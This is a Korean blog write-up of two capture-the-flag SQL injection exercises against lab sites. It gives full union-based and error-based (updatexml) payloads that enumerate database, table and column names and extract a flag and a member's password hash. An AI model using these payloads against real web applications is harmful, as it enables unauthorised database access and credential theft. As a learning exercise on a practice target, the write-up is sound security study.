W4_H2_CTF 문제풀이

·2023년 4월 26일
0

노말틱 취업스터디

목록 보기
13/16
post-thumbnail

💻 SQL injection 실습하기

📑 DB 데이터 추출 1

1. SQL 쿼리문 추측하기

SELECT _____ FROM ______ WHERE NAME LIKE '%___%'

2. 취약점 확인

tic%' and '1%'='1
  • %를 특수문자로 취급하고 SQL injection이 가능하다는 것을 확인
  • 데이터가 화면에 출력되므로 Union SQL injection 사용

3. 컬럼 수 확인하기

tic%' order by 5 #

4까지만 데이터 출력이 가능하므로 컬럼의 수는 4개라는 것을 파악

4. 데이터 출력 위치 파악하기

데이터의 위치를 화면에서 전부 확인가능

5. DB 이름 확인하기

확인한 DB 이름 : sqli_1

tic%' union select '1',database(),'3','4

6. 테이블 이름 확인하기

확인한 테이블 이름 : flag_table, user_info

tic%' union select '1',table_name,'3','4' from information_schema.tables where table_schema = 'sqli_1' #

7. 컬럼 이름 확인하기

확인한 컬럼 이름 : flag_table 에는 flag 존재, user_info 테이블에는 level, rank_point, rate 컬럼 존재

tic%' union select '1',column_name,'3','4' from information_schema.columns where table_name='flag_table' #

8. 데이터 추출하기

tic%' union select '1',flag,'3','4' from flag_table #


📑 DB 데이터 추출 2

1. SQL 쿼리문 추측하기

SELECT ____ FROM ____ WHERE id='	'

2. DB 에러 확인하기

  • 이 사이트는 DB로 MySQL을 사용함

3. updatexml 사용, 논리 에러 찾아내기

4. DB 이름 구하기 : sqli_2

1' and updatexml(null,concat(0x3a,(select database())),null) and '1'='1

5. 테이블 이름 구하기 : member, flag_table

// flag 테이블
1' and updatexml(null,concat(0x3a,(select table_name from information_schema.tables where table_schema = 'sqli_2' limit 0,1)),null) and '1'='1

// member 테이블
1' and updatexml(null,concat(0x3a,(select table_name from information_schema.tables where table_schema = 'sqli_2' limit 1,1)),null) and '1'='1

6. 컬럼 이름 확인하기 : flag

1' and updatexml(null,concat(0x3a,(select column_name from information_schema.columns where table_name='flag_table' limit 0,1)),null) and '1'='1

// member 테이블의 컬럼 id, pass, name
1' and updatexml(null,concat(0x3a,(select column_name from information_schema.columns where table_name='member' limit 0,1)),null) and '1'='1

7. 데이터 추출하기

// flag_table의 flag 컬럼 데이터 출력
1' and updatexml(null,concat(0x3a,(select flag from flag_table limit 0,1)),null) and '1'='1

// member 데이터
1' and updatexml(null,concat(0x3a,(select id from member limit 0,1)),null) and '1'='1
// id = mario

1' and updatexml(null,concat(0x3a,(select pass from member limit 0,1)),null) and '1'='1
//66566cbac5673baf9217ccf7fcfa3d1

1' and updatexml(null,concat(0x3a,(select name from member limit 0,1)),null) and '1'='1
// mario


🤍 추가 공부사항

  • SQL injection에 대한 전반적, 세부적 이해 더 필요!
  • Union SQL injection, Error Based SQL injection 좀 더 연습하기
  • DB 데이터 추출 1,2 CTF 사이트 구현해보기
profile
화이트해커 꿈나무 엘입니다😉

0개의 댓글